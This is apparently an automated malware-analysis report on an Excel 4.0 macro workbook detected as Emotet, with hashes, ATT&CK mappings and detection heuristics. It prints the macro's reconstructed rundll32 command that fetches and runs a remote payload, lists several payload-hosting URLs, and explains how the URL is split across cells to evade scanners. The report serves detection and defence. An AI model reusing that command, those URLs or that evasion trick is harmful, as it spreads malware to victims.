Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 cab722a553d0e662…

MALICIOUS

Office (OLE) / .XLSX

118.0 KB Created: 2015-06-05 18:19:34 Authoring application: Microsoft Excel
MD5: ee7aa9ec1324fc273b0abd257ca5cbaa SHA-1: 7c0c08cb6366851d6a4015b7da86576112b42b0a SHA-256: cab722a553d0e662a2c4e18e2300d30338fa957f7b0ade2c8f4450bd375bb8f9
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 Rundll32 T1059.001 PowerShell T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a known technique for executing malicious code. The macro reconstructs and executes the command 'rundll32.exe "https://wordpressdes.vanzolini-gte.org.br/fundacaotelefonica.org.br/gAbC4QpJYI/","3"' which is designed to download and execute a second-stage payload. ClamAV detection further confirms its malicious nature, identifying it as Emotet. The presence of multiple suspicious URLs indicates the downloader functionality.

Heuristics 7

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (3 URLs) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime) or across individual numeric cells (one ASCII charcode per cell). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries plus LABELSST/RK/NUMBER cells.
  • ClamAV: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://wordpressdes.vanzolini-gte.org.br/fundacaotelefonica.org.br/gAbC4QpJYI/
    • http://txingame.com/wp-content/PwKfVQfdhHbAv2j/
    • http://shopnhap.com/highbinder/nnYko9FDNJ/
    • https://wordpressdes.vanzolini-gte.org.br/fund

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
4d32d4bc18234076b76fff05a9ee50b43b756f16fa43d7a1a9cb0b5c555b4ddf		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 4504 bytes

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